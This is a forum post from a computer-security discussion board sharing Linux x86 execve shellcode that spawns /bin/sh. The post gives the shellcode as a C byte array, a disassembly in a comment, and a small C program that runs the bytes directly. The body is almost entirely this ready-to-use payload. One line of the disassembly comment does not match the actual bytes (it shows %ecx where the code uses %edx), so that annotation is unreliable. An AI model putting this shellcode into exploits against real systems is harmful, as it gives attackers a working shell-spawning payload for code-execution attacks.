![]() | |
| |||||||
| Home | Register | Projects | Blogs | FAQ | Calendar | Search | Today's Posts | Mark Forums Read | Free Directory | Free DNSReport | Tags |
| Notices |
| Programming Discuss about the various programming languages (HTLM/PHP/ASP/C#/C++/Java etc..) |
linux shellcodeThis is a discussion on "linux shellcode" within the Programming part of the Computer Security: Discussions section; Here's some shellcode ,have a look at the assembly. Code: /* linux/x86 execve()51bytes * fl0w_execve.c * linux/x86 execve shellcode,look down and you'll * see a detailed look of the assembly * author fl0 fl0w * flo_flow_supremacy[at]yahoo[dot]... |
![]() |
| | LinkBack | Thread Tools | Display Modes |
| |||
| Here's some shellcode ,have a look at the assembly. Code: /* linux/x86 execve()51bytes
* fl0w_execve.c
* linux/x86 execve shellcode,look down and you'll
* see a detailed look of the assembly
* author fl0 fl0w
* flo_flow_supremacy[at]yahoo[dot]com
/* 08048080 <_start>:
* 8048080: eb 1a jmp 804809c <gotocall>
* 08048082 <shellcode>:
* 8048082: 5e pop %esi
* 8048083: 31 c0 xor %eax,%eax
* 8048085: 88 46 07 mov %al,0x7(%esi)
* 8048088: 8d 1e lea (%esi),%ebx
* 804808a: 89 5e 08 mov %ebx,0x8(%esi)
* 804808d: 89 46 0c mov %eax,0xc(%esi)
* 8048090: b0 0b mov $0xb,%al
* 8048092: 89 f3 mov %esi,%ebx
* 8048094: 8d 4e 08 lea 0x8(%esi),%ecx
* 8048097: 8d 4e 0c lea 0xc(%esi),%ecx
* 804809a: cd 80 int $0x80
* 0804809c <gotocall>:
* 804809c: e8 e1 ff ff ff call 8048082 <shellcode>
* 80480a1: 2f das
* 80480a2: 62 69 6e bound %ebp,0x6e(%ecx)
* 80480a5: 2f das
* 80480a6: 73 68 jae 8048110 <gotocall+0x74>
* 80480a8: 4a dec %edx
* 80480a9: 41 inc %ecx
* 80480aa: 41 inc %ecx
* 80480ab: 41 inc %ecx
* 80480ac: 41 inc %ecx
* 80480ad: 4b dec %ebx
* 80480ae: 4b dec %ebx
* 80480af: 4b dec %ebx
* 80480b0: 4b dec %ebx
*/
#include<stdio.h>
char shellcode[]="\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d"
"\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
"\x4b\x4b\x4b\x4b";
main()
{ void (*routine)();
(long)routine=&shellcode;
printf("size of shellcode: %dbytes\n",sizeof(shellcode));
routine();
} Last edited by fl0 fl0w; 27-12-07 at 17:59. |
| The Following User Says Thank You to fl0 fl0w For This Useful Post: | ||
class101 (27-12-07) | ||
| Sponsor | ||
| ||
| |
![]() |
| | |
| linux, shellcode | |
| Thread Tools | |
| Display Modes | |
| |
Similar Threads | ||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| VNC_bypauth: linux & windows scanner | class101 | 0day | 94 | 04-10-08 03:40 |
| CVE-2007-6284 (fedora, Mandrake Linux, Mandrake Corporate Server, Debian Linux) | Heap | Advisories | 0 | 14-01-08 17:51 |
| CVE-2006-7226 (Desktop, Enterprise Linux AS, Enterprise Linux ES, Enterprise Linux WS | Heap | Advisories | 0 | 06-12-07 17:36 |
| DFind for Linux? | Soulwinter | DFind | 8 | 11-01-06 21:27 |
| Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3 | Narcotic | Public | 0 | 08-01-06 22:04 |